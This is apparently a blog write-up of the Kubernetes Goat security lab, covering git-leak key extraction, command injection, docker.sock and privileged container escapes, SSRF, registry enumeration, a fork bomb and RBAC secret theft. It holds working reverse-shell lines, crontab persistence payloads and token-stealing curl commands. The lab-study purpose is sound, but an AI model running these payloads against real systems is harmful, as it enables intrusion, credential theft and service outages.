news 2026/10/17 8:51:13

云安全靶场-Kubernetes Goat

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
云安全靶场-Kubernetes Goat

Kubernetes Goat

Sensitive keys in codebases

这个是git泄露,其中git里有密钥泄露

访问1230端口

扫目录

git泄露

git结构

.git/ ├─ config # 仓库配置(你刚才看的,里面有 bare 参数) ├─ logs/HEAD # 操作日志,所有commit记录(你之前看的那条长长的提交链) ├─ COMMIT_EDITMSG # 最后一次提交的备注(最开始那张图) ├─ objects/ # 核心!所有文件压缩后的二进制快照(blob、tree、commit对象) ├─ refs/ # 分支标签,记录每个分支最新commit哈希 ├─ HEAD # 标记当前在哪个分支/哪个commit └─ index # 索引清单,记录当前工作区文件和objects快照的对应关系
/.git/COMMIT_EDITMSG

返回某一次代码合并主分支的改动,这里是新增了app这个文件

/.git/logs/HEAD

这里回显了git的提交日志以及对应版本hash,还有commit的备注

/.git/config

这里回显Bare=false,说明是本地开发,可以完整下载源码

githacker下载源码

找密钥

在源码里没有找到

但是我们去看提交历史记录

bb2967a6f26fb59bf64031bbb14b4f3e233944ca d7c173ad183c574109cd5c4c648ffe551755b576 Madhu Akula <madhu.akula@hotmail.com> 1604701866 +0100 commit: Inlcuded custom environmental variables

这一条记录里更新了环境变量

而githacker里没有是因为他只会还原当前的工作树

d7c173ad183c574109cd5c4c648ffe551755b576,这里的d7(前两位是目录)后面的是文件名

然后这里curl http://192.168.47.128:1230/.git/objects/d7/c173ad183c574109cd5c4c648ffe551755b576 -o 123.obj 就可以获得commit对象

commit会存储tree的hash和上一个commit版本

git cat-file -p d7c173ad183c574109cd5cc4c648fffe5551755b

这里获得到对应tree的hash

tree 73da70026f144ccdfc5b806998b7d58cf37c6f33 parent bb2967a6f26fb59bf64031bbb14b4f3e233944ca

下载tree文件然后查看对应文件hash

git cat-file -p 73da70026f144ccdfc5b806998b7d58cf37c6f33 100644 blob b9e2b454e881360b9158698eca3456bea6c2b55b .env 100644 blob 9f1f393252fe5527bbfb0708f57ebc05a3550ffc README.md 100644 blob b3c24a996ba5f47473fe8bfa0842ca54def7807e go.mod 100644 blob 00d8b1bebf73f4feff5683d0af858884a1544b99 go.sum 100644 blob 950821141e4626ba376563897fa1780f00aa5aa0 main.go

这里直接拿.env的blob的hash

重复操作

curl http://192.168.47.128:1230/.git/objects/b9/e2b454e881360b9158698eca3456bea6c2b55b -o e2b454e881360b9158698eca3456bea6c2b55b % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 168 100 168 0 0 3638 0 0

拿到密钥

这里拿到的aws的id和key,也就是AKSK(这里真实环境的攻击思路就是去看IAM看有没有s3权限啊或者是别的,然后拿token去访问)

git cat-file -p b9e2b454e881360b9158698eca3456bea6c2b55b [build-code-aws] aws_access_key_id = AKIVSHD6243H22G1KIDC aws_secret_access_key = cgGn4+gDgnriogn4g+34ig4bg34g44gg4Dox7c1M k8s_goat_flag = k8s-goat-51bc78332065561b0c99280f62510bcc

DIND (docker-in-docker) exploitation

docker里跑容器,是CICD里很常见的操作,很多开发会了图方便,不在docker内安装docker引擎,而是直接把宿主机的docker.sock挂载到docker内,以方便创建容器,这里就会造成docker.sock逃逸。

拿dockershell

访问主页

经典命令拼接

payload用一个;隔开就行

反弹shell

1; bash -c "bash -i >& /dev/tcp/192.168.47.128/4444 0>&1" //bash-c是执行字符串指令,bash -i是启动交互式shell

开监听

docker.sock逃逸

探测docker.sock

安装docker

apt update && apt install -y docker.io curl

在docker里安装一个容器并挂载到宿主机根目录

docker run -d -v /:/hostfs --name escape ubuntu:latest sleep 9999

写反弹shell

echo "*/1 * * * * root /bin/bash -c 'bash -c "bash -i >& /dev/tcp/192.168.47.128/4444 0>&1"'" > /hostfs/etc/crontab

特权模式逃逸

这里提供了两种方式逃逸

探测发现是特权容器

cat /proc/self/status | grep CapEff

然后直接挂载宿主机所有的磁盘内容到mnt上

mount /dev/sda1 /mnt

SSRF in the Kubernetes (K8S) world

在1232端口

打元数据

这里是k8s内域名http://metadata-db/,实战中你可以改成对应的169.254.169.254

然后这边提示是访问latest ,访问后发现有其他的目录:events,hostname,latest,profile,secret

http://metadata-db/latest/hostname模拟元数据中关于主机名的数据

http://metadata-db/latest/events/list/1用于模拟事件

http://metadata-db/latest/profile模拟的是IAM

http://metadata-db/latest/secrets/info这个模拟的是secrets的内容,在实战中,secrets通常存放敏感信息,例如数据库账密,token,密码,密钥。

info这里存储的是base64的模拟数据

然后访问http://metadata-db/latest/secrets/kubernetes-goat拿到本关卡的flag

K8s的信息探测

看namespace

namespace,就是k8s把一个大的集群分为多个虚拟的小集群,做资源隔离,他存储在docker的本地

读取namepspace

file:///var/run/secrets/kubernetes.io/serviceaccount/namespace

这里拿到的namespace是default

拿ServiceAccount JWT Token(K8s令牌)

同样在docker文件下

file:///var/run/secrets/kubernetes.io/serviceaccount/token

拿CA证书

这里后端是Nodejs,需要校验CA证书,所以就没有办法进一步利用。

当然了,读一些etc/passwd,源码啥的还是可以的

Container escape to the host system

这个也是属于容器逃逸的靶场,在1233端口

进来就是一个终端

信息收集

特权模式直接挂载,秒了

cat /proc/self/status | grep CapEff

挂载成功

写定时任务反弹shell

echo "* * * * * root /bin/bash -i >& /dev/tcp/192.168.4.128/8888 0>&1" >> /mnt/etc/crontab

反弹成功

Attacking private registry

漏洞成因

攻击私有注册表,这个是私有镜像仓库泄露,里面存放了公司自己的 docker,真实攻防中一般开在5000端口上

/v2/_catalog这个路径就会泄露仓库里所有的镜像,如果没有鉴权就会导致所有的镜像泄露

漏洞复现

直接访问1235是空的

访问/v2的时候返回了{}

再访问0/v2/_catalog路径的时候,返回了repositories(仓库内镜像名称列表),madhuakula/k8s-goat-alpine这个前面的madhuakula代表的就是namespace(命名空间),后面的就是镜像名

这个时候如果访问/v2/madhuakula/k8s-goat-users-repo/tags/list就会返回对应的版本名,tags就是版本号,这里返回的是latest

拿到版本号以后就去访问他的latest的镜像版本分层信息

http://192.168.47.128:1235/v2/madhuakula/k8s-goat-users-repo/manifests/latest

什么是镜像分层呢?写一个dockerfile本质上是一层一层堆叠的只读的tar压缩包

例如:

# FROM:拉官方nginx基础镜像,直接复用nginx已经做好的所有底层层 FROM nginx:alpine # COPY:把本机当前目录下所有网页文件,复制到nginx网页根目录 # COPY会【新增一个只读镜像层】 COPY . /usr/share/nginx/html # EXPOSE:只是标记容器开放80端口,仅元信息,不产生分层 EXPOSE 80 # CMD:容器启动命令,启动nginx,元信息,不产生分层 CMD ["nginx", "-g", "daemon off;"]

他就有四层,而其中有可能会有数据库密钥,例如

ENV DB_USER=root ENV DB_PASS=Admin@123456

访问以后下载下来一个latest文件

直接用IDE打开

搜api-key(这里有一点,layer只记录文件系统的变化,例如env的不会记录,所以版本hash不变)

这个apikey在真实的环境可以访问k8s的api-server然后操控docker

NodePort exposed services

漏洞成因

开发人员选错了 Service 类型:把只允许集群内部访问的内部应用info-app,用了NodePort向外暴露;同时节点没有防火墙做访问控制,应用本身也没有身份校验。(NodePort就是把每一个集群上的节点都开一个端口然后把流量路由到某一个具体的节点端口上,所以只要任一节点这个端口可访问,那么内部服务可访问)

漏洞复现

获取节点

扫描端口

直接访问

Gaining environment information

漏洞成因

k8s的相关token,ca证书都放到docker下了,可以直接读取

漏洞复现

cat /var/run/secrets/kubernetes.io/serviceaccount/token cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt cat /var/run/secrets/kubernetes.io/serviceaccount/namespace

DoS the Memory/CPU resources

漏洞成因

Pod / 容器 yaml 清单没有配置resources.limits(CPU、内存上限),同时命名空间没有配置LimitRange做全局默认限制

漏洞复现

cat /sys/fs/cgroup/cpu.max cat /sys/fs/cgroup/memory.max

如果返回max就代表没有限制可以直接打满

这里的cgroup是control group(控制组),一般用来做资源隔离/统计。

(这里的sys是内核子文件,而如果是proc就是进程文件)

打内存的几个方法

:(){ :|:& }; :

这里是定义一个函数:(),函数名叫:

😐:&:

  • :调用自己(递归执行这个函数)
  • |管道:把左边函数输出交给右边,再启动一份自己
  • &放到后台运行,不阻塞、不等待子进程结束
  • ;命令分隔符,代表函数定义结束。
  • 最后的:触发执行:调用这个冒号函数,炸弹启动。

或者实用stress(压测工具)

apt update && apt install stress -y stress --vm 1 --vm-bytes $(free | awk '/Mem/{print $2}')K

RBAC least privileges misconfiguration

漏洞成因

原本应该设置只读webhookapikey这个secret,但是设置成可以读所有的secret,这里直接读取vaultapikey就可以直接get flag

漏洞复现

curl -s --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \ -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \ https://kubernetes.default.svc/api/v1/namespaces/big-monolith/secrets/vaultapikey

如果直接访问/api/v1/namespaces/big-monolith/secrets就可以列出全部的secret,但是本关卡没有这个list的权限。

写在后面

在实战中一般拿到sa,token以后就会先去看自己的RBAC权限(同时看一下自己的env里有没有敏感信息)。

可以去看自己有没有secret权限,看自己namespace下的secret。

看能不能创建pod进行逃逸,或者exec到其他的容器里

看能不能读configmap,他一般有敏感信息

看pod日志,看有没有明文密码。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/17 8:51:07

64位Windows 11下使用硬件断点Hook API:调试事件循环与参数篡改实战

前阵子把手头那本老牌逆向工程教材翻出来&#xff0c;想照着里面的调试实验在64位Windows 11上完整跑一遍。结果比预想中热闹——教材配套的Demo大多是基于32位进程设计的&#xff0c;直接搬过来不是编译报错&#xff0c;就是运行起来行为跟预期完全对不上。可把思路拆开看&…

作者头像 李华
网站建设 2026/10/17 8:51:04

混合架构CPU调度优化:强制程序使用大核的Windows/Linux方案

最近帮朋友调一台新电脑&#xff0c;碰到个挺有意思的现象&#xff1a;他玩某款大型单机游戏&#xff0c;帧数忽高忽低&#xff0c;CPU占用率看着不高&#xff0c;但就是卡顿。打开任务管理器一看&#xff0c;好家伙&#xff0c;负责干活的那几个“大核”全在打酱油&#xff0c…

作者头像 李华
网站建设 2026/10/17 8:50:50

msvcp140_clr0400.dll丢失或损坏的完整修复指南:运行库与系统级方案

不卖关子&#xff0c;先说结论&#xff1a;msvcp140_clr0400.dll 这个报错&#xff0c;我前前后后处理过不下二十次&#xff0c;每次看到用户第一反应是“去某个 DLL 下载站搞一个文件放进 System32”&#xff0c;我都会赶紧拦住。这个思路在十年前也许勉强能用&#xff0c;放在…

作者头像 李华
网站建设 2026/10/17 8:49:50

ArtCraft实战:统一手绘素材风格与批量导出的高效工作流

做了好几年数字艺术创作&#xff0c;手绘、矢量、像素、材质贴图各种风格我都沾过&#xff0c;坦白讲最折磨人的从来不是“画不出来”&#xff0c;而是画完之后那一堆风格割裂、命名混乱、尺寸不统一的素材怎么收场。年前我换了一套工作流&#xff0c;核心工具就是这款叫 ArtCr…

作者头像 李华
网站建设 2026/10/17 8:49:11

空间智能AI重塑3D世界构建:游戏引擎的变革与工作流演进

说实话&#xff0c;那天我看到一个演示视频&#xff0c;愣是反复拖了好几遍进度条。输入一段描述性的文字&#xff0c;引擎直接给你生成一个连贯的、能走进去的场景&#xff0c;植被分布、地形起伏、光照氛围一个不少。这是我第一次真切感受到AI已经摸到了游戏开发最核心的地盘…

作者头像 李华
网站建设 2026/10/17 8:48:33

CPU密集型任务线程池调优:参数推导、压测验证与洪峰背压全指南

先说一个我亲历的场景。前一阵子接手一个某图像处理服务&#xff0c;任务是把一批一批的图片做特征提取、相似度计算&#xff0c;说白了就是CPU密集型任务。业务高峰期一台8核机器上的CPU能跑到95%以上&#xff0c;线程池用的还是网上最常见的“核心线程数 CPU核数 1”&#…

作者头像 李华